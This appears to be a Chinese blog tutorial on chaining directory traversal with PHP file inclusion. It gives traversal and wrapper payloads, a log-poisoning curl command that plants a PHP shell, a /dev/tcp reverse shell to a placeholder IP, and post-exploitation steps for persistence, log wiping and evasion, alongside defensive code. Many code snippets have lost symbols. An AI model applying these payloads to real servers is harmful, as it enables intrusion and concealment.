目录穿越与文件包含漏洞组合利用:从原理到实战的Web安全攻防

发布时间:2026/6/22 23:23:21
目录穿越与文件包含漏洞组合利用:从原理到实战的Web安全攻防 1. 项目概述当目录穿越遇上文件包含在Web安全测试和渗透测试的日常工作中我们经常会遇到一些看似独立、实则关联紧密的漏洞。其中“目录穿越漏洞”和“文件包含漏洞”就是一对经典的“黄金搭档”。单独来看它们各自都有一定的危害但一旦组合起来其威力往往能产生112的效果甚至可能直接导致服务器被完全控制。今天我们就来深入拆解这对组合拳从原理、利用到防御结合实战案例让你彻底搞懂它们是如何协同工作的。简单来说目录穿越漏洞Directory Traversal允许攻击者访问Web应用根目录之外的文件系统路径。而文件包含漏洞File Inclusion则允许攻击者将服务器上的本地文件或远程文件包含到当前脚本中执行。当应用存在文件包含漏洞但限制了可包含的文件路径或文件名时如果同时存在目录穿越漏洞攻击者就能利用后者“穿越”到限制目录之外读取或执行任意文件。这就像你家的保险柜文件包含本来只允许放客厅抽屉里的钥匙特定目录文件但有人发现你家墙壁路径校验有个洞目录穿越他就能伸手到卧室甚至邻居家把任何他想要的钥匙如/etc/passwd、Webshell塞进你的保险柜并打开它。2. 漏洞原理深度解析与关联性要理解这对组合我们必须先拆开看每个漏洞的独立运作机制然后再看它们是如何“握手”并产生化学反应的。2.1 目录穿越漏洞的核心原理目录穿越也叫路径遍历。其根本原因在于程序在处理文件路径参数时未对用户输入中包含的“../”上级目录等特殊序列进行充分的过滤或规范化。一个典型的脆弱代码片段PHP示例$file $_GET[file]; // 用户可控例如 file../../etc/passwd readfile(/var/www/html/uploads/ . $file);这段代码的本意是读取uploads目录下的文件。但如果攻击者传入file../../../etc/passwd拼接后的路径就变成了/var/www/html/uploads/../../../etc/passwd经过系统路径解析后就等价于/etc/passwd从而成功读取了系统敏感文件。关键点在于路径的“相对性”。Web应用通常有一个文档根目录如/var/www/html服务器配置会限制脚本只能访问该目录下的文件。但目录穿越利用../跳出这个“监狱”。不同的操作系统和编码环境需要注意Unix/Linux: 使用../Windows: 使用..\也可能接受../。绝对路径如C:\Windows\system.ini也可能在某些场景下被直接读取。URL编码绕过: 开发者可能简单过滤字符串../但攻击者可以使用URL编码如%2e%2e%2f(../),%2e%2e/(../),..%2f(../)甚至双重编码%252e%252e%252f。绝对路径绕过: 如果校验逻辑不严直接使用绝对路径/etc/passwd也可能成功。2.2 文件包含漏洞的核心原理文件包含漏洞主要发生在使用文件包含函数的语言中如PHP的include(),require(),include_once(),require_once()。JSP的% include file... %等也有类似风险但PHP最为常见。漏洞产生的原因是开发者动态包含了用户可控的变量作为文件名的一部分且未对输入进行有效限制。本地文件包含LFI示例$page $_GET[page]; // 例如 pageabout.php include(/templates/ . $page . .php);如果攻击者传入page../../../etc/passwd%00在PHP版本5.3.4时%00空字节可以截断后面的.php就可能包含系统文件。即使没有空字节如果/templates目录下存在可控文件如上传的图片马也能包含执行。远程文件包含RFI示例include($_GET[url] . .php); // 例如 urlhttp://evil.com/shell如果allow_url_include配置为On默认已关闭攻击者可以直接包含远程服务器上的恶意脚本导致代码执行。LFI的常见利用方式不止于读取文件日志文件注入包含Apache/Nginx的访问日志或错误日志先在User-Agent或请求路径中注入PHP代码再通过LFI包含该日志文件代码就会被执行。Session文件包含包含/tmp/sess_[sessionid]文件如果能在Session中写入PHP代码如通过表单再包含自己的Session文件即可执行代码。PHP封装协议这是LFI利用的大杀器。即使不能执行代码也能利用php://filter协议读取源码。php://filter/readconvert.base64-encode/resourceindex.php以Base64编码形式读取文件源码绕过一些显示限制。php://input POST传入PHP代码在allow_url_include开启时可以执行POST过去的代码。data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8直接包含Base64编码的代码并执行。2.3 漏洞的关联与组合利用场景现在我们把两者结合起来。想象一个场景一个Web应用有一个“下载功能”通过download.php?filereport.pdf来下载/var/www/html/downloads/目录下的文件。这里存在目录穿越漏洞可以读取../../etc/passwd。同时这个应用还有一个“主题切换功能”通过index.php?themeblue来加载/var/www/html/themes/blue.php主题文件。这里存在本地文件包含漏洞但因为写死了themes目录和.php后缀攻击者似乎只能包含themes目录下的PHP文件。组合利用链就此形成信息收集利用目录穿越漏洞download.php?file../../index.php读取存在文件包含漏洞的index.php源码分析其包含逻辑。路径突破发现包含语句是include(./themes/ . $_GET[theme] . .php);。单纯传入../../../etc/passwd会因为后缀.php导致包含失败/etc/passwd.php不存在。利用穿越提供有效载荷此时目录穿越漏洞派上用场。攻击者可以先通过文件上传或其他方式将一个包含PHP代码的文本文件比如图片马shell.jpg放到服务器上一个已知路径例如通过上传功能传到/tmp/目录或者利用日志、环境变量/proc/self/environ等。构造最终攻击结合两个漏洞参数。向文件包含点发起请求index.php?theme../../../tmp/shell.jpg。虽然加了.php后缀变成了../../../tmp/shell.jpg.php但服务器在解析路径时会先进行路径遍历跳转。如果/tmp/shell.jpg文件开头恰好有?php ... ?代码某些PHP配置如cgi.fix_pathinfo1会将它当作PHP文件来解析执行这就成功地将目录穿越作为“桥梁”让受限制的文件包含漏洞吃到了“桥对面”的恶意文件最终达成远程代码执行RCE。注意这种利用方式对PHP配置有要求cgi.fix_pathinfo默认常为1且需要能预测或控制目标文件的内容和位置。在实际渗透中日志文件注入和Session文件包含是更稳定常见的LFI to RCE手段。3. 实战场景模拟与漏洞挖掘理解了原理我们通过一个高度简化的模拟场景来还原漏洞挖掘过程。假设我们面对一个目标http://vuln-app.com。3.1 信息收集与功能点分析首先进行常规的信息收集目录扫描使用dirsearch或gobuster扫描发现以下路径/index.php/download.php/view.php/upload/(目录)/images/(目录)参数分析通过爬虫或手动测试发现download.php有file参数/download.php?filemanual.pdfview.php有page参数/view.php?pagehomeindex.php有lang参数/index.php?langen3.2 测试目录穿越漏洞我们优先测试看起来像文件操作的download.php。基础测试尝试file../../../../etc/passwd。返回“文件不存在”或403错误。这不一定代表漏洞不存在可能是过滤或路径不对。编码绕过测试尝试file..%2f..%2f..%2f..%2fetc%2fpasswd。返回“非法参数”。可能检测了../或etc等关键字。绝对路径测试尝试file/etc/passwd。返回了系统的/etc/passwd文件内容这说明后端直接拼接了用户输入且没有限制相对路径但可能做了简单的../过滤。绝对路径绕过成功。进一步利用既然可以读文件我们尝试读取Web应用的源码以寻找其他漏洞。读取file/var/www/html/index.php路径可能需要猜测或通过报错信息泄露。成功获取源码后我们发现关键代码// index.php 片段 $language isset($_GET[lang]) ? $_GET[lang] : en; include_once(./languages/ . $language . .php);发现疑似文件包含点包含路径基于./languages/目录用户可控变量$language直接拼接。3.3 测试文件包含漏洞现在测试index.php的lang参数。基础LFI测试尝试lang../../../../etc/passwd。页面报错或空白可能是因为包含了非PHP文件导致语法错误或者路径不对。使用PHP过滤器尝试langphp://filter/readconvert.base64-encode/resource../../../../etc/passwd。这次返回了一大串Base64编码解码后正是/etc/passwd的内容确认存在本地文件包含漏洞。过滤器协议帮助我们绕过了包含非PHP文件导致的解析问题。尝试包含源码利用过滤器读取自身源码langphp://filter/readconvert.base64-encode/resourceindex.php验证漏洞并分析更多逻辑。尝试RFI尝试langhttp://evil.com/shell.txt。页面返回警告“仅允许包含本地文件”。说明allow_url_include为Off或程序做了远程协议禁用RFI不可行。3.4 组合利用尝试目前我们有一个能任意读文件的目录穿越download.php?file和一个能包含本地文件的LFI漏洞index.php?lang但LFI被限制在包含.php文件或者包含其他文件会出错。我们的目标是执行代码。思路利用目录穿越漏洞将一个包含PHP代码的文件“放置”到服务器上一个可预测的位置然后通过LFI漏洞去包含它。实操步骤寻找可写或固定位置通过目录穿越读取一些系统文件寻找线索。读取/proc/self/environ(Linux) 可能泄露路径、用户信息。读取/var/log/apache2/access.log发现日志记录在默认位置且我们作为Web用户可读。利用日志文件注入这是最经典的组合技。步骤一污染日志。我们向网站发起一个请求在HTTP头中注入PHP代码。因为User-Agent会被记录到访问日志中。curl -A ?php system(\$_GET[cmd]); ? http://vuln-app.com/步骤二确认日志路径。通过目录穿越读取/etc/apache2/sites-available/000-default.conf或类似配置文件找到CustomLog指令确认访问日志的绝对路径例如/var/log/apache2/vuln-app-access.log。或者直接尝试常见路径。步骤三通过LFI包含日志文件。现在我们使用文件包含漏洞通过PHP过滤器先读取日志文件确认我们的代码是否被写入。/index.php?langphp://filter/readconvert.base64-encode/resource/var/log/apache2/vuln-app-access.log解码后在日志中搜索我们注入的?php system($_GET[cmd]);?确认存在。步骤四执行代码。直接包含日志文件不使用过滤器并传递cmd参数。由于日志文件是文本需要确保PHP配置能解析它cgi.fix_pathinfo1是关键。请求/index.php?lang/var/log/apache2/vuln-app-access.logcmdid如果配置允许服务器会将日志文件当作PHP解析执行我们注入的代码并返回命令id的执行结果。至此我们通过目录穿越辅助信息收集/确认路径 文件包含完成了从信息泄露到远程代码执行RCE的完整攻击链。实操心得在实际测试中日志文件可能很大包含时可能超时或出错。可以尝试在注入代码时让请求访问一个不存在的路径如/?phpinfo();?这样日志记录会更集中便于包含。另外/proc/self/fd/目录下的文件描述符有时会指向当前进程打开的文件如日志也是可尝试的包含目标。4. 漏洞挖掘工具与手动测试技巧自动化工具能提高效率但手动测试和理解上下文至关重要。4.1 常用工具集扫描与发现Burp SuiteIntruder模块用于对参数进行模糊测试Fuzzing使用包含../、编码变形、绝对路径等的字典。Dirsearch / Gobuster发现可能存在文件操作的功能端点。FFUF更快的Web模糊测试工具可以用于发现参数和测试路径遍历。Payload字典一个强大的字典是关键。SecLists项目中的Fuzzing/目录特别是traversal.txt和LFI/下的字典包含了各种操作系统和绕过手法的Payload。自定义字典根据目标信息中间件、OS、框架调整字典加入可能的绝对路径如C:\windows\system.ini、/etc/hosts。4.2 手动测试方法论参数识别关注所有接收文件、路径、名称、模板、语言等字符串的参数。不仅是GETPOST、Cookie、Header如X-Forwarded-For可能写入日志都可能存在漏洞。错误信息分析输入异常Payload时仔细查看返回的错误信息。数据库错误、文件未找到错误、路径解析错误都可能泄露绝对路径、服务器技术栈等关键信息。层层递进第一步简单验证。输入几个../看响应是否变化如从200变成404或500。第二步常见文件测试。尝试读取/etc/passwd(Linux)、C:\Windows\System32\drivers\etc\hosts(Windows)等。第三步读取应用自身文件。尝试读取Web应用的配置文件如config.php、web.config、源码文件以发现数据库密码、其他API密钥或更多漏洞点。第四步利用协议与技巧。尝试php://filter读取源码尝试php://input进行POST代码执行尝试包含/proc/self/environ等。上下文感知如果参数值会被添加后缀如.php、.html考虑使用空字节截断%00仅限老版本PHP或利用?、#在URL中截断如../../../etc/passwd%00.jpg但需要服务器处理方式特殊。更多时候需要结合日志注入、文件上传等二次利用。4.3 常见绕过技巧总结过滤场景可能的绕过方式简单过滤../使用..\(Windows)、%2e%2e%2f、..%2f、%252e%252e%252f双重URL编码过滤etc/passwd等关键字使用路径缩写、通配符部分系统支持、或读取其他敏感文件如/etc/hosts,/proc/self/cmdline要求参数以特定后缀结尾尝试空字节截断 (%00)、使用?或#在URL中使后缀成为查询片段或锚点如file../../../etc/passwd%23.jpg路径被编码或解码后校验尝试多重编码、混合编码、畸形的Unicode编码仅允许包含特定目录下文件利用目录穿越跳出限制目录组合漏洞的核心或利用该目录下已存在的可控制文件如上传的图片注意事项空字节截断 (%00) 在PHP 5.3.4及以上版本已被修复在绝大多数现代环境中已无效。不要将其作为主要利用手段但了解其历史是必要的。5. 防御方案设计与代码层面修复知其然更要知其所以然。知道了怎么攻击才能更好地防御。防御的核心原则是不信任任何用户输入对输入进行严格的白名单校验并在操作文件时使用绝对路径并限定操作范围。5.1 输入验证与过滤黑名单过滤不推荐试图过滤掉../、..\、etc等危险字符列表。这种方法极易被绕过如上表所示。// 脆弱的黑名单示例 $bad array(../, ..\\, etc/passwd, php://); $file str_replace($bad, , $_GET[file]);攻击者可以使用....//绕过过滤一次后变成../。白名单校验推荐定义允许的字符或文件列表。// 1. 基于后缀的白名单 $allowed_extensions array(.pdf, .txt, .jpg); $file $_GET[file]; $ext strtolower(substr($file, strrpos($file, .))); if (!in_array($ext, $allowed_extensions)) { die(Invalid file type.); } // 注意仍需结合路径校验防止 file../../../evil.jpg // 2. 基于文件名的白名单适用于已知固定文件 $allowed_files array(report.pdf, manual.docx); $file basename($_GET[file]); // 使用 basename 去除路径 if (!in_array($file, $allowed_files)) { die(File not allowed.); } $filepath /var/www/html/downloads/ . $file;5.2 路径规范化与目录限定这是最核心、最有效的防御手段。使用basename()函数该函数返回路径中的文件名部分会自动去除任何目录成分。但注意basename()在遇到空字节时可能行为异常且不处理非ASCII字符的问题应先做输入清理。$file $_GET[file]; // 先移除可能的空字节 $file str_replace(chr(0), , $file); $filename basename($file); $filepath /var/www/html/uploads/ . $filename; if (!is_file($filepath)) { die(File not found.); }使用绝对路径 前缀校验将用户输入拼接在固定的基础目录后然后使用realpath()函数解析规范路径并检查解析后的路径是否仍以允许的基础目录开头。$base_dir /var/www/html/static/; // 允许访问的根目录 $user_input $_GET[file]; // 拼接路径 $full_path realpath($base_dir . $user_input); // 关键校验解析后的路径是否以 $base_dir 开头 if ($full_path false || strpos($full_path, $base_dir) ! 0) { // 路径解析失败或不在允许的目录内 die(Access denied.); } // 安全可以使用 $full_path readfile($full_path);realpath()的作用它会解析路径中的.、..和符号链接返回一个标准的绝对路径。如果路径不存在或包含无效的遍历可能返回false。通过比较$full_path和$base_dir的前缀可以确保文件没有“逃出”允许的目录。使用chroot或文件系统沙箱高级对于高安全要求的环境可以考虑使用chroot jail将Web进程限制在文件系统的一个子目录中从根本上杜绝目录穿越。5.3 文件包含漏洞的专项防御避免动态包含用户输入这是治本之策。如果必须动态包含使用白名单映射。$page_map array( home home.php, about about.php, contact contact.php, ); $key $_GET[page]; if (array_key_exists($key, $page_map)) { include(./templates/ . $page_map[$key]); } else { include(./templates/error.php); }关闭危险配置在PHP中确保php.ini中以下配置为Offallow_url_fopen Offallow_url_include Offcgi.fix_pathinfo 0(设置为0可以防止将shell.jpg当作shell.jpg.php解析但可能影响某些合法应用需评估)设置open_basedir在PHP配置或代码中设置open_basedir将PHP脚本可访问的文件限制在指定目录树内。这是一个有效的补充防御但并非绝对安全历史上存在绕过方式。; php.ini open_basedir /var/www/html/:/tmp/5.4 安全开发框架与习惯使用安全的API许多现代Web框架提供了安全的文件读取、下载方法会自动处理路径安全问题。最小权限原则运行Web服务的用户如www-data,nginx应仅拥有对Web根目录的必要读写权限对系统其他文件只有最小读权限或无权限。代码审计与安全测试将目录遍历和文件包含作为代码审计和渗透测试的必查项。使用SAST静态应用安全测试工具辅助发现潜在漏洞。6. 从漏洞到渗透高级利用与后渗透思路当我们通过目录穿越文件包含拿到一个Webshell代码执行权限后工作才刚刚开始。我们需要将其转化为一个稳定的、持久的控制通道并探索内网。6.1 权限提升与持久化信息收集执行whoami,id,uname -a,cat /etc/passwd,ps aux等命令了解当前用户权限、系统架构、运行的服务。寻找提权向量检查是否有sudo权限(sudo -l)查找SUID/GUID文件(find / -perm -us -type f 2/dev/null)查看内核版本搜索公开漏洞。写入Webshell如果当前目录可写写入一个更稳定的Webshell如蚁剑、冰蝎的免杀马到Web目录下。建立反向ShellWebshell通常交互性差。使用nc,bash,python,php等命令建立反向连接到你的公网服务器。# 在你的服务器上监听 nc -lvnp 4444 # 在Webshell中执行假设目标有nc bash -c bash -i /dev/tcp/YOUR_IP/4444 01持久化后门添加计划任务(crontab)、写入SSH密钥、修改系统服务或动态链接库等。6.2 内网横向移动获得一个立足点后视角转向内网。网络探测使用ifconfig/ip addr查看当前主机IP使用netstat -antp查看网络连接和开放端口。上传nmap静态二进制文件或使用脚本进行内网扫描。密码与密钥收集寻找Web应用配置文件config.php,web.config,.env、数据库连接字符串、历史命令(history)、用户主目录下的.ssh/目录、/etc/shadow如果可读等。利用信任关系如果获取到数据库密码尝试连接数据库可能存储着其他系统密码。如果获取到其他机器的SSH密钥尝试横向登录。端口转发与代理在已控主机上搭建代理如使用reGeorg,EarthWorm将内网服务的端口转发到本地以便用你本地的工具进行深入测试。6.3 痕迹清理与防御规避在授权测试中清理痕迹是职业操守在非法攻击中这是逃避检测。了解它有助于防守方。日志清理修改或删除包含你攻击记录的Web日志access.log,error.log和系统日志auth.log,secure。注意日志可能被实时监控或发送到远程日志服务器。文件隐藏将Webshell文件属性修改为隐藏以点开头或放在大量文件中混淆视听。修改文件时间戳(touch -r)。进程隐藏使用rootkit或更隐蔽的方式运行后门进程。流量加密使用加密的Webshell如冰蝎或隧道工具避免通信特征被IDS/IPS检测。7. 防御体系构建与安全运维建议对于企业和开发者而言修复单个漏洞是“点”构建防御体系是“面”。安全开发生命周期SDL将安全要求嵌入需求、设计、编码、测试、部署全流程。对开发人员进行安全编码培训。Web应用防火墙WAF部署WAF可以有效拦截常见的目录穿越、文件包含攻击Payload。但WAF不是万能的可能存在绕过需与代码安全结合。定期漏洞扫描与渗透测试使用自动化工具如Nessus, AWVS定期扫描并聘请专业团队进行人工渗透测试主动发现潜在风险。最小权限与网络隔离严格遵循最小权限原则配置服务器和数据库账户。将Web服务器部署在DMZ区与核心内网进行隔离。日志集中监控与告警将服务器、应用、数据库日志集中收集到SIEM安全信息与事件管理系统并设置针对可疑路径访问、异常文件包含操作等行为的告警规则。入侵检测系统HIDS在服务器上安装HIDS如OSSEC, Wazuh监控文件完整性如Web目录下文件被篡改、异常进程、可疑命令执行等。说到底安全是一个持续的过程而非一劳永逸的状态。目录穿越和文件包含这类基础漏洞之所以长期存在往往是因为开发初期对安全的不重视或认知不足。作为安全人员我们的价值不仅在于找出这些漏洞更在于推动整个团队建立并践行“安全第一”的思维模式将防线前置到代码编写的那一刻。每一次成功的防御都比一次漂亮的攻击更有价值。